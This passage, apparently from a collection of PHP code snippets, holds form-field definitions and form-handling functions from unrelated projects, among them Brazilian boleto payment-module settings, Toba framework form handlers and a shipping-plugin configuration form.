GetLang('boletoitauDemoU'),\r\n\t\t\t \"default\" => \"REFERENTE A COMPRAS ONLINE\",\r\n\t\t\t \"required\" => false\r\n\t\t\t);\r\n\t\t\r\n\t\t\t$this->_variables['demodois'] = array(\"name\" => \"Demonstra&ccedil;&atilde;o 2\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauDemoD'),\r\n\t\t\t \"default\" => \"Duvidas e sugest&otilde;es entre em contato conosco:\",\r\n\t\t\t \"required\" => false\r\n\t\t\t);\r\n\t\t\r\n\t\t\t\t\t$this->_variables['demotres'] = array(\"name\" => \"Demonstra&ccedil;&atilde;o 3\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauDemoT'),\r\n\t\t\t \"default\" => \"[email protected] | +55 xx 0000.0000\",\r\n\t\t\t \"required\" => false\r\n\t\t\t);\r\n\t\t\t\r\n\t\t\t\r\n\t//_------------------------------------------------------------------------------------------fim-demonstrativos\r\n\t\r\n\r\n\r\n\r\n\r\n\t\t\t\r\n\t\t\t$this->_variables['boletoitauinstrucaoum'] = array(\"name\" => \"Instru&ccedil;&atilde;o 1\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauInstrucaoUm'),\r\n\t\t\t \"default\" => \"Multa de R$ 3,00 por atraso.\",\r\n\t\t\t \"required\" => false\r\n\t\t\t);\r\n\t\t\r\n\t\t\t$this->_variables['boletoitauinstrucaodois'] = array(\"name\" => \"Instru&ccedil;&atilde;o 2\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauInstrucaoDois'),\r\n\t\t\t \"default\" => \"Apos o vencimento, pagavel apenas no Banco Real\",\r\n\t\t\t \"required\" => false\r\n\t\t\t);\r\n\t\t\r\n\t\t\t\t\t$this->_variables['boletoitauinstrucaotres'] = array(\"name\" => \"Instru&ccedil;&atilde;o 3\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauInstrucaoTres'),\r\n\t\t\t \"default\" => \"Fatura sujeita a protesto no SPC/SERASA\",\r\n\t\t\t \"required\" => false\r\n\t\t\t);\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t$this->_variables['boletoitauinstrucaoquatro'] = array(\"name\" => \"Instru&ccedil;&atilde;o 4\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauInstrucaoQuatro'),\r\n\t\t\t \"default\" => \"Juros de mora de 0,1% ao dia.\",\r\n\t\t\t \"required\" => false\r\n\t\t\t);\r\n\t\t\t\r\n\t\r\n\t\r\n\t\r\n\t\r\n\t\r\n\t\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t$this->_variables['boletoitauaceite'] = array(\"name\" => \"Aceite\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauAceite'),\r\n\t\t\t \"default\" => \"\",\r\n\t\t\t \"required\" => false\r\n\t\t\t);\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t$this->_variables['boletoitauespeciedoc'] = array(\"name\" => \"Esp&eacute;cie do documento\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauEspecieDoc'),\r\n\t\t\t \"default\" => \"\",\r\n\t\t\t \"required\" => false\r\n\t\t\t);\r\n\r\n\t\t\t$this->_variables['boletoitauespecie'] = array(\"name\" => \"Esp&eacute;cie de cobran&ccedil;a\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauEspecie'),\r\n\t\t\t \"default\" => \"R$\",\r\n\t\t\t \"required\" => false\r\n\t\t\t);\r\n\t\t\t\r\n\r\n\t\t\t$this->_variables['boletoitaucpfcnpj'] = array(\"name\" => \"CPF ou CNPJ do Boleto\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauCNPF'),\r\n\t\t\t \"default\" => \"\",\r\n\t\t\t \"required\" => false\r\n\t\t\t);\r\n\t\t\r\n\t\t\r\n\t\t$this->_variables['boletoitaudiasparavencimento'] = array(\"name\" => \"Dias para vencimento\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauVence'),\r\n\t\t\t \"default\" => \"10\",\r\n\t\t\t \"required\" => true\r\n\t\t\t);\r\n\t\t\r\n\r\n\r\n\t\t$this->_variables['boletoitaudv'] = array(\"name\" => \"D&iacute;gito Verificador\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauDV'),\r\n\t\t\t \"default\" => \"0\",\r\n\t\t\t \"required\" => true\r\n\t\t\t);\r\n\r\n\t\t\t$this->_variables['postagem'] = array(\"name\" => \"LINK de Repagamento\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => \"URL para Repagamento\",\r\n\t\t\t \"default\" => \"%%GLOBAL_ShopPath%%/modules/checkout/boletoitau/boleto_itau.php?boleto=\",\r\n\t\t\t \"required\" => true\r\n\t\t\t);\r\n\t\t\t\r\n\t\t\t$this->_variables['imagems'] = array(\"name\" => \"IMAGEM de Repagamento\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => \"URL para Repagamento\",\r\n\t\t\t \"default\" => \"%%GLOBAL_ShopPath%%/modules/checkout/boletoitau/images/logo.gif\",\r\n\t\t\t \"required\" => true\r\n\t\t\t);\r\n\t\t\t\r\n\t\t\t\r\n\t$this->_variables['helptext'] = array(\"name\" => \"Mais configura&ccedil;&otilde;es\",\r\n\t\t\t \"type\" => \"textarea\",\r\n\t\t\t \"help\" => GetLang('boletoitauInst'),\r\n\t\t\t \"default\" => \"Voc&ecirc; escolheu pagar com Boleto Banc&aacute;rio do Banco Ita&uacute;.\\nPara reimprimir seu boleto clique no bot&atilde;o abaixo.<br>\",\r\n\t\t\t \"required\" => true,\r\n\t\t\t \"rows\" => 7\r\n\t\t\t);\r\n\t\t\t\r\n\t\t}", "protected function setSubmittedValues()\n {\n if ( $this->setFundraiserId() ) {\n $this->setFundraiserProfile(); \n }\n\n $this->setAmount();\n \n $this->setFirstName();\n $this->setLastName();\n $this->setEmail();\n $this->setTelephone();\n \n $this->setAddress();\n $this->setCity();\n $this->setCountry();\n $this->setRegion();\n $this->setPostalCode();\n \n $this->setAnonymity();\n $this->setHideAmount();\n }", "function estatInputs(){\r\n\t\t\tif ($this->aut_idautor==0) return \" \";\r\n\t\t\telse return \" disabled \";\r\n\t\t}", "public function formulario()\n {\n //\n }", "function conf__efs($form)\n\t{\n\t\tif ($this->controlador->get_clase_actual() == 'toba_ei_formulario') {\n\t\t\t$form->desactivar_efs(array('total'));\n\t\t}\n\t\t$this->s__seleccion_efs_anterior = $this->s__seleccion_efs;\n\t\t$fila = $this->get_tabla()->get_fila($this->s__seleccion_efs_anterior);\n\t\t$form->set_titulo('Propiedades del ef <em>'.$fila[$this->campo_clave].'</em>');\t\t\n\t\treturn $fila;\n\t\t\n\t}", "function evt__form_asignacion__agregar_dias (){\n $datos_form_asignacion=$this->dep('form_asignacion')->get_datos();\n print_r($datos_form_asignacion);\n $tipo=$datos_form_asignacion['tipo'];\n if(strcmp($tipo, 'Definitiva')==0){\n $mensaje=\" No se puede asociar fechas a asignaciones definitivas. \";\n toba::notificacion()->agregar($mensaje);\n \n }\n else{\n $fecha_inicio=$datos_form_asignacion['fecha_inicio'];\n $fecha_fin=$datos_form_asignacion['fecha_fin'];\n if(isset($fecha_inicio) && isset($fecha_fin)){\n $this->s__cargar_fechas=TRUE; //se debe poner en false cuando termina la operacion de carga\n if(!isset($tipo)){\n $datos_form_asignacion['tipo']='Periodo';\n }\n $this->s__datos_form_asignacion=$datos_form_asignacion;\n $this->set_pantalla('pant_extra');\n }\n else{\n toba::notificacion()->agregar(\" Debe especificar fecha de inicio y fin. \");\n \n }\n \n }\n \n //para restaurar el estado actual del formulario form_asignacion\n $this->s__datos_form_asignacion=$datos_form_asignacion;\n \n }", "public function form()\n {\n\n $this->hidden('key', '字段名')->rules('required');\n $this->editor('val', '平台规则')->rules('required');\n }", "function init_extra_fields() {\n $temp = $this->uc->CallMethod('PickupLocations', array(), 'GET', $this->token);\n $pickups = array();\n if (is_array($temp)) {\n foreach ($temp as $t) {\n $pickups[$t['LocationId']] = $t['Name'];\n }\n }\n\n // obtine lista planurilor tarifare\n $temp = $this->uc->CallMethod('PriceTables', array(), 'GET', $this->token);\n\n $prices = array();\n if (is_array($temp)) {\n foreach ($temp as $t) {\n $prices[$t['PriceTableId']] = empty($t['Name']) ? $t['PriceTableId'] : $t['Name'];\n }\n }\n\n $this->form_fields += array(\n 'pickup' => array(\n 'title' => __('Punct de ridicare', 'urgentcargus'),\n 'type' => 'select',\n 'class' => 'select_height',\n 'options' => array(null => 'Alege punctul de ridicare') + $pickups\n ),\n 'priceplan' => array(\n 'title' => __('Plan tarifar', 'urgentcargus'),\n 'type' => 'select',\n 'class' => 'select_height',\n 'options' => array(null => 'Alege planul tarifar') + $prices\n ),\n 'insurance' => array(\n 'title' => __('', 'urgentcargus'),\n 'label' => __('Asigurare', 'urgentcargus'),\n 'type' => 'checkbox',\n 'default' => 'no'\n ),\n 'saturday' => array(\n 'title' => __('', 'urgentcargus'),\n 'label' => __('Livrare sambata', 'urgentcargus'),\n 'type' => 'checkbox',\n 'default' => 'no'\n ),\n 'morning' => array(\n 'title' => __('', 'urgentcargus'),\n 'label' => __('Livrare dimineata', 'urgentcargus'),\n 'type' => 'checkbox',\n 'default' => 'no'\n ),\n 'open' => array(\n 'title' => __('', 'urgentcargus'),\n 'label' => __('Deschidere colet', 'urgentcargus'),\n 'type' => 'checkbox',\n 'default' => 'no'\n ),\n 'repayment' => array(\n 'title' => __('Incasare ramburs', 'urgentcargus'),\n 'type' => 'select',\n 'class' => 'select_height',\n 'options' => array(\n 'cash' => 'Numerar',\n 'bank' => 'Transfer bancar'\n )\n ),\n 'payer' => array(\n 'title' => __('Platitor expeditie', 'urgentcargus'),\n 'type' => 'select',\n 'class' => 'select_height',\n 'options' => array(\n 'sender' => 'Expeditor',\n 'recipient' => 'Destinatar'\n )\n ),\n 'type' => array(\n 'title' => __('Tip expeditie', 'urgentcargus'),\n 'type' => 'select',\n 'class' => 'select_height',\n 'options' => array(\n 'parcel' => 'Colet',\n 'envelope' => 'Plic'\n )\n ),\n 'free' => array(\n 'title' => __('Plafon transport gratuit', 'urgentcargus'),\n 'type' => 'text',\n ),\n 'fixed' => array(\n 'title' => __('Cost fix transport', 'urgentcargus'),\n 'type' => 'text',\n ),\n 'height' => array(\n 'title' => __('Inaltime', 'urgentcargus'),\n 'type' => 'number',\n ),\n 'width' => array(\n 'title' => __('Latime', 'urgentcargus'),\n 'type' => 'number',\n ),\n 'length' => array(\n 'title' => __('Lungime', 'urgentcargus'),\n 'type' => 'number',\n ),\n 'service' => array(\n 'title' => __('Serviciu', 'urgentcargus'),\n 'type' => 'select',\n 'class' => 'select_height',\n 'options' => array(\n 0 => 'Inactiv',\n 1 => 'Activ'\n )\n ),\n );\n }", "public function valorpasaje();", "function configurar_formulario (toba_ei_formulario $form){\n switch ($this->s__tipo){\n case \"Definitiva\" : $this->cargar_form_definitivo($form); break;\n case \"Periodo\" : $this->cargar_form_periodo($form); break;\n }\n }", "public function loadConfig(){\n\t\t\n\t\t$opt[] = [\n\t\t\t'method' => 'setFormParams',\n\t\t\t'value'=>$this->paramsLoad(3, \\sevian\\s::getReq('command_idx'), \\sevian\\s::getReq('unit_idx'))\n\t\t\t\n\t\t];\n\t\t$this->info = $opt;//$form->getInfo();\n\t}", "public function getInputValues();", "function asignar_valores2(){\n $this->id=$_POST['id_link'];\n $this->prioridad=$_POST['id_sublink'];\n $this->etiqueta=$_POST['etiqueta'];\n }", "function getInputValues();", "function DadosExecucao() {\r\n extract($GLOBALS);\r\n global $w_Disabled;\r\n\r\n $w_chave = $_REQUEST['w_chave'];\r\n $w_sq_menu = $_REQUEST['w_sq_menu'];\r\n\r\n $w_readonly = '';\r\n $w_erro = '';\r\n\r\n // Recupera os dados da solicitação\r\n $sql = new db_getSolicData; $RS_Solic = $sql->getInstanceOf($dbms,$w_chave,f($RS_Menu,'sigla'));\r\n\r\n // Verifica se há necessidade de recarregar os dados da tela a partir\r\n // da própria tela (se for recarga da tela) ou do banco de dados (se não for inclusão)\r\n if ($w_troca>'') {\r\n // Se for recarga da página\r\n $w_inicio = $_REQUEST['w_inicio'];\r\n $w_fim = $_REQUEST['w_fim'];\r\n $w_valor = $_REQUEST['w_valor'];\r\n } else {\r\n $w_inicio = FormataDataEdicao(f($RS_Solic,'inicio'));\r\n $w_fim = FormataDataEdicao(f($RS_Solic,'fim'));\r\n $w_valor = ((nvl(f($RS_Solic,'valor'),'')!='') ? formatNumber(f($RS_Solic,'valor')) : ''); \r\n } \r\n Cabecalho();\r\n head();\r\n Estrutura_CSS($w_cliente);\r\n // Monta o código JavaScript necessário para validação de campos e preenchimento automático de máscara,\r\n // tratando as particularidades de cada serviço\r\n ScriptOpen('JavaScript');\r\n CheckBranco();\r\n FormataData();\r\n SaltaCampo();\r\n FormataDataHora();\r\n FormataValor(); \r\n ValidateOpen('Validacao');\r\n switch (f($RS_Menu,'data_hora')) {\r\n case 0: Validate('w_fim','Término previsto','DATA',1,10,10,'','0123456789/'); break;\r\n case 1: Validate('w_fim','Término previsto','DATA',1,10,10,'','0123456789/'); break;\r\n case 2: Validate('w_fim','Término previsto','DATAHORA',1,17,17,'','0123456789/'); break;\r\n case 3: \r\n Validate('w_inicio','Início previsto','DATA',1,10,10,'','0123456789/'); \r\n Validate('w_fim','Término previsto','DATA',1,10,10,'','0123456789/');\r\n CompData('w_inicio','Início previsto','<=','w_fim','Término previsto');\r\n break;\r\n case 4:\r\n Validate('w_inicio','Início previsto','DATAHORA',1,17,17,'','0123456789/,: ');\r\n Validate('w_fim','Término previsto','DATAHORA',1,17,17,'','0123456789/,: ');\r\n CompData('w_inicio','Início previsto','<=','w_fim','Término previsto');\r\n break;\r\n } \r\n Validate('w_valor','Valor previsto','VALOR','',4,18,'','0123456789.,');\r\n ValidateClose();\r\n ScriptClose();\r\n ShowHTML('</head>');\r\n ShowHTML('<BASE HREF=\"'.$conRootSIW.'\">');\r\n switch (f($RS_Menu,'data_hora')) {\r\n case 0: BodyOpenClean('onLoad=\\'document.Form.w_fim.focus()\\';'); break;\r\n case 1: BodyOpenClean('onLoad=\\'document.Form.w_fim.focus()\\';'); break;\r\n case 2: BodyOpenClean('onLoad=\\'document.Form.w_fim.focus()\\';'); break;\r\n case 3: BodyOpenClean('onLoad=\\'document.Form.w_inicio.focus()\\';'); break;\r\n case 4: BodyOpenClean('onLoad=\\'document.Form.w_inicio.focus()\\';'); break;\r\n } \r\n Estrutura_Topo_Limpo();\r\n Estrutura_Menu();\r\n Estrutura_Corpo_Abre();\r\n Estrutura_Texto_Abre();\r\n ShowHTML('<table align=\"center\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\">');\r\n // Exibe os dados da solicitação\r\n ShowHTML('<tr><td align=\"center\" bgcolor=\"#FAEBD7\" colspan=3><table border=1 width=\"100%\"><tr><td>');\r\n ShowHTML(' <TABLE WIDTH=\"100%\" CELLSPACING=\"'.$conTableCellSpacing.'\" CELLPADDING=\"'.$conTableCellPadding.'\" BorderColorDark=\"'.$conTableBorderColorDark.'\" BorderColorLight=\"'.$conTableBorderColorLight.'\">');\r\n ShowHTML(' <tr><td><table border=0 width=\"100%\">');\r\n ShowHTML(' <tr valign=\"top\">');\r\n ShowHTML(' <td>'.f($RS_Menu,'nome').':<b><br>'.f($RS_Solic,'sq_siw_solicitacao').'</td>');\r\n ShowHTML(' <td>Solicitante:<b><br>'.ExibePessoa('../',$w_cliente,f($RS_Solic,'solicitante'),$TP,f($RS_Solic,'nm_sol')).'</td>');\r\n ShowHTML(' <td>Setor solicitante:<b><br>'.ExibeUnidade('../',$w_cliente,f($RS_Solic,'sg_unidade_solic'),f($RS_Solic,'sq_unidade'),$TP).'</td>');\r\n ShowHTML(' <tr><td colspan=\"2\">Descrição:<b><br>'.f($RS_Solic,'descricao').'</td>');\r\n ShowHTML(' </table>');\r\n ShowHTML(' </TABLE>');\r\n ShowHTML('</table>');\r\n AbreForm('Form',$w_dir.$w_pagina.'Grava','POST','return(Validacao(this));',null,$P1,$P2,$P3,$P4,$TP,$SG,$w_pagina.$par,'F');\r\n ShowHTML(MontaFiltro('POST'));\r\n ShowHTML('<INPUT type=\"hidden\" name=\"w_troca\" value=\"\">');\r\n ShowHTML('<INPUT type=\"hidden\" name=\"w_chave\" value=\"'.$w_chave.'\">');\r\n ShowHTML('<INPUT type=\"hidden\" name=\"w_menu\" value=\"'.$w_menu.'\">');\r\n \r\n ShowHTML('<tr><td>');\r\n ShowHTML(' <tr><td><table width=\"100%\" border=\"0\" bgcolor=\"'.$conTrBgColor.'\">');\r\n ShowHTML(' <tr><td colspan=\"3\"><font size=\"2\"><b>DADOS DA EXECUÇÃO<hr NOSHADE color=#000000 SIZE=1></b></font></td></tr>');\r\n ShowHTML(' <tr valign=\"top\">');\r\n switch (f($RS_Menu,'data_hora')) {\r\n case 0: ShowHTML(' <td><b><u>T</u>érmino previsto:</b><br><input '.$w_Disabled.' accesskey=\"T\" type=\"text\" name=\"w_fim\" class=\"STI\" SIZE=\"10\" MAXLENGTH=\"10\" VALUE=\"'.$w_fim.'\" onKeyDown=\"FormataData(this,event);\" onKeyUp=\"SaltaCampo(this.form.name,this,10,event);\" title=\"Data limite para que a execução da demanda esteja concluída.\">'.ExibeCalendario('Form','w_fim').'</td>'); break;\r\n case 1: ShowHTML(' <td><b><u>T</u>érmino previsto:</b><br><input '.$w_Disabled.' accesskey=\"T\" type=\"text\" name=\"w_fim\" class=\"STI\" SIZE=\"10\" MAXLENGTH=\"10\" VALUE=\"'.$w_fim.'\" onKeyDown=\"FormataData(this,event);\" onKeyUp=\"SaltaCampo(this.form.name,this,10,event);\" title=\"Data limite para que a execução da demanda esteja concluída.\">'.ExibeCalendario('Form','w_fim').'</td>'); break;\r\n case 2: ShowHTML(' <td><b><u>T</u>érmino previsto:</b><br><input '.$w_Disabled.' accesskey=\"T\" type=\"text\" name=\"w_fim\" class=\"STI\" SIZE=\"17\" MAXLENGTH=\"17\" VALUE=\"'.$w_fim.'\" onKeyDown=\"FormataDataHora(this,event);\" onKeyUp=\"SaltaCampo(this.form.name,this,17,event);\" title=\"Data/hora limite para que a execução da demanda esteja concluída.\">'.ExibeCalendario('Form','w_fim').'</td>'); break;\r\n case 3: \r\n ShowHTML(' <td><b>Iní<u>c</u>io previsto:</b><br><input '.$w_Disabled.' accesskey=\"C\" type=\"text\" name=\"w_inicio\" class=\"STI\" SIZE=\"10\" MAXLENGTH=\"10\" VALUE=\"'.$w_inicio.'\" onKeyDown=\"FormataData(this,event);\" onKeyUp=\"SaltaCampo(this.form.name,this,10,event);\" title=\"Início previsto da demanda.\">'.ExibeCalendario('Form','w_inicio').'</td>'); \r\n ShowHTML(' <td><b><u>T</u>érmino previsto:</b><br><input '.$w_Disabled.' accesskey=\"T\" type=\"text\" name=\"w_fim\" class=\"STI\" SIZE=\"10\" MAXLENGTH=\"10\" VALUE=\"'.$w_fim.'\" onKeyDown=\"FormataData(this,event);\" onKeyUp=\"SaltaCampo(this.form.name,this,10,event);\" title=\"Data limite para que a execução da demanda esteja concluída.\">'.ExibeCalendario('Form','w_fim').'</td>');\r\n break;\r\n case 4:\r\n ShowHTML(' <td><b>Iní<u>c</u>io previsto:</b><br><input '.$w_Disabled.' accesskey=\"C\" type=\"text\" name=\"w_inicio\" class=\"STI\" SIZE=\"17\" MAXLENGTH=\"17\" VALUE=\"'.$w_inicio.'\" onKeyDown=\"FormataDataHora(this,event);\" onKeyUp=\"SaltaCampo(this.form.name,this,17,event);\" title=\"Data/hora de início previsto da demanda.\">'.ExibeCalendario('Form','w_inicio').'</td>');\r\n ShowHTML(' <td><b><u>T</u>érmino previsto:</b><br><input '.$w_Disabled.' accesskey=\"T\" type=\"text\" name=\"w_fim\" class=\"STI\" SIZE=\"17\" MAXLENGTH=\"17\" VALUE=\"'.$w_fim.'\" onKeyDown=\"FormataDataHora(this,event);\" onKeyUp=\"SaltaCampo(this.form.name,this,17,event);\" title=\"Data/hora limite para que a execução da demanda esteja concluída.\">'.ExibeCalendario('Form','w_fim').'</td>');\r\n break;\r\n } \r\n ShowHTML(' <td><b>Valo<u>r</u> previsto:</b><br><input '.$w_Disabled.' accesskey=\"O\" type=\"text\" name=\"w_valor\" class=\"STI\" SIZE=\"18\" MAXLENGTH=\"18\" VALUE=\"'.$w_valor.'\" style=\"text-align:right;\" onKeyDown=\"FormataValor(this,18,2,event);\" title=\"Informe o orçamento disponível para execução da demanda, ou zero se não for o caso.\"></td>');\r\n ShowHTML(' <tr><td align=\"center\" colspan=\"3\" height=\"1\" bgcolor=\"#000000\"></TD></TR>');\r\n ShowHTML(' <tr><td align=\"center\" colspan=\"3\">');\r\n ShowHTML(' <input class=\"stb\" type=\"submit\" name=\"Botao\" value=\"Gravar\">');\r\n $sql = new db_getMenuData; $RS = $sql->getInstanceOf($dbms,$w_menu);\r\n ShowHTML(' <input class=\"stb\" type=\"button\" onClick=\"location.href=\\''.montaURL_JS($w_dir,f($RS,'link').'&w_copia='.$w_copia.'&O=L&SG='.f($RS,'sigla').'&P1='.$P1.'&P2='.$P2.'&P3='.$P3.'&P4='.$P4.'&TP='.$TP.MontaFiltro('GET')).'\\';\" name=\"Botao\" value=\"Abandonar\">');\r\n ShowHTML(' </td>');\r\n ShowHTML(' </tr>');\r\n \r\n ShowHTML(' </table>');\r\n ShowHTML(' </TD>');\r\n ShowHTML('</tr>');\r\n ShowHTML('</FORM>');\r\n ShowHTML('</table>');\r\n ShowHTML('</center>');\r\n Estrutura_Texto_Fecha();\r\n Estrutura_Fecha();\r\n Estrutura_Fecha();\r\n Estrutura_Fecha();\r\n Rodape();\r\n}", "private function IndexValidacionFormulario() {\n\t\t\t$Val = new NeuralJQueryFormularioValidacion(true, true, false);\n\t\t\t$Val->Requerido('AVISO', 'Debe Ingresar el Número del Aviso');\n\t\t\t$Val->Numero('AVISO', 'El Aviso debe Ser Numérico');\n\t\t\t$Val->CantMaxCaracteres('AVISO', 10, 'Debe ingresar aviso con 10 Números');\n\t\t\t$Val->Requerido('PRIORIDAD', 'Debe Seleccionar una Opción');\n\t\t\t$Val->Requerido('RAZON', 'Debe Seleccionar una Opción');\n\t\t\t$Val->Requerido('REGIONAL[]', 'Seleccione la Regional a Reportar');\n\t\t\t$Val->Requerido('NODO', 'Debe ingresar el Nodo al que pertenece la Matriz');\n\t\t\t$Val->Requerido('HORAFIN', 'Defina la fecha-hora que termina el Aviso');\n\t\t\t$Val->Requerido('MATRIZ', 'Debe informar el Número de la Matriz');\n\t\t\t$Val->ControlEnvio('peticionAjax(\"FormularioGuion\", \"Respuesta\");');\n\t\t\treturn $Val->Constructor('FormularioGuion');\n\t\t}", "public function applyDefaultValues()\n\t{\n\t\t$this->ativo = true;\n\t\t$this->tipo_acesso = 'M';\n\t\t$this->estado_civil = 'O';\n\t\t$this->nivel_acesso = '1';\n\t\t$this->usuario_validado = false;\n\t}", "function usuarios_estados_datos()\n\t{\n\n\t\tparent::objeto();\n\n\t\t$this->tabla=\"usuarios_estados\";\n\t\t$this->campoClave=\"Id\";\n\t\t$this->id=null;\n\t\t\n\t\t\n$v=new Variable(2,$this->tabla,\"Id\",1);\n\t\t\t\n$v->clave=true;\n\t\t\t\n\t\t\t\n$v->autonumerica=true;\n\t\t\t\n$this->agregarVariable2($v);\n$v=new Variable(1,$this->tabla,\"Estado\",2);\n$this->agregarVariable2($v);\n\n\t}", "function SetCustomVars()\n\t\t{\n\n\n\n\t\t\t$this->_variables['availablecountries'] = array(\"name\" => \"Continentes\",\n\t\t\t \"type\" => \"dropdown\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilContinentes'),\n\t\t\t \"default\" => \"all\",\n\t\t\t \"required\" => true,\n\t\t\t \"options\" => GetCountryListAsNameValuePairs(),\n\t\t\t\t\"multiselect\" => true\n\t\t\t);\n\n\n\t\t\t$this->_variables['boletobancodobrasilcedente'] = array(\"name\" => \"Cedente\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilCedente'),\n\t\t\t \"default\" => \"\",\n\t\t\t \"required\" => true\n\t\t\t);\n\n\t\t\t$this->_variables['boletobancodobrasilagencia'] = array(\"name\" => \"Agencia\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilAgencia'),\n\t\t\t \"default\" => \"\",\n\t\t\t \"required\" => true\n\t\t\t\t);\n\n\n\t\t\t$this->_variables['boletobancodobrasilconta'] = array(\"name\" => \"Conta\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilConta'),\n\t\t\t \"default\" => \"\",\n\t\t\t \"required\" => true\n\t\t\t);\n\t\t\n\n\n\t\t\t$this->_variables['boletobancodobrasilcarteira'] = array(\"name\" => \"Carteira\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilCarteira'),\n\t\t\t \"default\" => \"18\",\n\t\t\t \"required\" => true\n\t\t\t);\n\t\t\t\n\t\t\t$this->_variables['boletobancodobrasilconvenio'] = array(\"name\" => \"Convenio\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilConvenio'),\n\t\t\t \"default\" => \"0000000\",\n\t\t\t \"required\" => true\n\t\t\t);\n\n\n\t\t$this->_variables['boletobancodobrasilcontrato'] = array(\"name\" => \"Contrato\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilContrato'),\n\t\t\t \"default\" => \"0000000\",\n\t\t\t \"required\" => true\n\t\t\t);\n\t\t\t\n\t\t\t\t$this->_variables['boletobancodobrasilvariacaocarteira'] = array(\"name\" => \"Varia&ccedil;&atilde;o da Carteira\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilVariacaoCarteira'),\n\t\t\t \"default\" => \"-019\",\n\t\t\t \"required\" => true\n\t\t\t);\n\n\n\t\t\t\t$this->_variables['boletobancodobrasilformatacaoconvenio'] = array(\"name\" => \"Formata&ccedil;&atilde;o do Conv&ecirc;nio\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilFormatacaoConvenio'),\n\t\t\t \"default\" => \"7\",\n\t\t\t \"required\" => true\n\t\t\t);\n\n\n\t\t\t\t$this->_variables['boletobancodobrasilformatacaonossonumero'] = array(\"name\" => \"Formata&ccedil;&atilde;o do Nosso N&uacute;mero\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilFormatacaoNossoNumero'),\n\t\t\t \"default\" => \"7\",\n\t\t\t \"required\" => true\n\t\t\t);\n\n\n\n\n\t//_-----------------------------------------------------------------------------------------demonstrativos\n\t\n\t\t\t$this->_variables['demoum'] = array(\"name\" => \"Demonstra&ccedil;&atilde;o 1\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilDemoU'),\n\t\t\t \"default\" => \"REFERENTE A COMPRAS ONLINE\",\n\t\t\t \"required\" => false\n\t\t\t);\n\t\t\n\t\t\t$this->_variables['demodois'] = array(\"name\" => \"Demonstra&ccedil;&atilde;o 2\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilDemoD'),\n\t\t\t \"default\" => \"Duvidas e sugest&otilde;es entre em contato conosco:\",\n\t\t\t \"required\" => false\n\t\t\t);\n\t\t\n\t\t\t\t\t$this->_variables['demotres'] = array(\"name\" => \"Demonstra&ccedil;&atilde;o 3\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilDemoT'),\n\t\t\t \"default\" => \"[email protected] | +55 xx 0000.0000\",\n\t\t\t \"required\" => false\n\t\t\t);\n\t\t\t\n\t\t\t\n\t//_------------------------------------------------------------------------------------------fim-demonstrativos\n\t\n\n\n\n\n\t\t\t\n\t\t\t$this->_variables['boletobancodobrasilinstrucaoum'] = array(\"name\" => \"Instru&ccedil;&atilde;o 1\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilInstrucaoUm'),\n\t\t\t \"default\" => \"Multa de R$ 3,00 por atraso.\",\n\t\t\t \"required\" => false\n\t\t\t);\n\t\t\n\t\t\t$this->_variables['boletobancodobrasilinstrucaodois'] = array(\"name\" => \"Instru&ccedil;&atilde;o 2\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilInstrucaoDois'),\n\t\t\t \"default\" => \"Apos o vencimento, pagavel apenas no Banco Real\",\n\t\t\t \"required\" => false\n\t\t\t);\n\t\t\n\t\t\t\t\t$this->_variables['boletobancodobrasilinstrucaotres'] = array(\"name\" => \"Instru&ccedil;&atilde;o 3\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilInstrucaoTres'),\n\t\t\t \"default\" => \"Fatura sujeita a protesto no SPC/SERASA\",\n\t\t\t \"required\" => false\n\t\t\t);\n\t\t\t\n\t\t\t\n\t\t\t$this->_variables['boletobancodobrasilinstrucaoquatro'] = array(\"name\" => \"Instru&ccedil;&atilde;o 4\",\n\t\t\t \"type\" => 